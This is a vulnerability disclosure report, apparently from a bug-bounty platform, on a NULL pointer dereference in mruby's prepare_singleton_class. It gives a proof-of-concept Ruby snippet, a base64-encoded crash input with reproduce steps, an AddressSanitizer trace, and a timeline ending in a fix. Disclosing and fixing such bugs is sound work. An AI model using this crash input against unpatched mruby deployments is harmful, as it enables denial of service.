NULL Pointer Dereference in mruby/mruby


Reported on

Jan 14th 2022


There is a NULL Pointer Dereference in prepare_singleton_class (src/class.c:360:13). This bug has been found on mruby lastest commit (hash 171d32c0071d776207174a40a8fa26def3dbb931) on Ubuntu 20.04 for x86_64/amd64.

Proof of Concept

def m()end
def c.e()end}

Steps to reproduce

1- Clone repo and build with ASAN using MRUBY_CONFIG=build_config/clang-asan.rb rake

2- Use mruby to execute the poc:

$ echo -ne "MS50aW1lc3tiPXt9CmE9MApbKiowLG06MF0KYz17MD0+MCxuaWw9Pm5pbH1bMF0KZGVmIG0oKWVuZApkZWYgYy5lKCllbmR9Cg==" | base64 -d > poc
$ build/host/bin/mruby ./poc
/home/octa/mruby/src/class.c:360:13: runtime error: member access within null pointer of type 'struct RClass'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/octa/mruby/src/class.c:360:13 in 
==31695==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x0000005270f8 bp 0x7ffec6a14090 sp 0x7ffec6a13d80 T0)
==31695==The signal is caused by a READ memory access.
==31695==Hint: address points to the zero page.
    #0 0x5270f8 in prepare_singleton_class /home/octa/mruby/src/class.c:360:13
    #1 0x52688f in mrb_singleton_class_ptr /home/octa/mruby/src/class.c:1685:3
    #2 0x528785 in mrb_singleton_class /home/octa/mruby/src/class.c:1692:22
    #3 0x600757 in mrb_vm_exec /home/octa/mruby/src/vm.c:2918:17
    #4 0x566ee9 in mrb_vm_run /home/octa/mruby/src/vm.c:1128:12
    #5 0x55c339 in mrb_top_run /home/octa/mruby/src/vm.c:3050:12
    #6 0x88b6ce in mrb_load_exec /home/octa/mruby/mrbgems/mruby-compiler/core/parse.y:6882:7
    #7 0x88d2dc in mrb_load_detect_file_cxt /home/octa/mruby/mrbgems/mruby-compiler/core/parse.y:6925:12
    #8 0x4c9118 in main /home/octa/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:347:11
    #9 0x7f46ef9450b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #10 0x41d82d in _start (/home/octa/mruby/build/host/bin/mruby+0x41d82d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/octa/mruby/src/class.c:360:13 in prepare_singleton_class


This bug was found by Octavio Gianatiempo ( and Octavio Galland ( from Faraday Research Team.

We are processing your report and will contact the mruby team within 24 hours. 10 months ago
We have contacted a member of the mruby team and are waiting to hear back 10 months ago
Yukihiro "Matz" Matsumoto validated this vulnerability 10 months ago
Octavio Gianatiempo has been awarded the disclosure bounty
The fix bounty is now up for grabs
Yukihiro "Matz" Matsumoto marked this as fixed in 3.2 with commit 31fa33 10 months ago
Yukihiro "Matz" Matsumoto has been awarded the fix bounty
This vulnerability will not receive a CVE
10 months ago


Thanks for the quick validation and fix 👍

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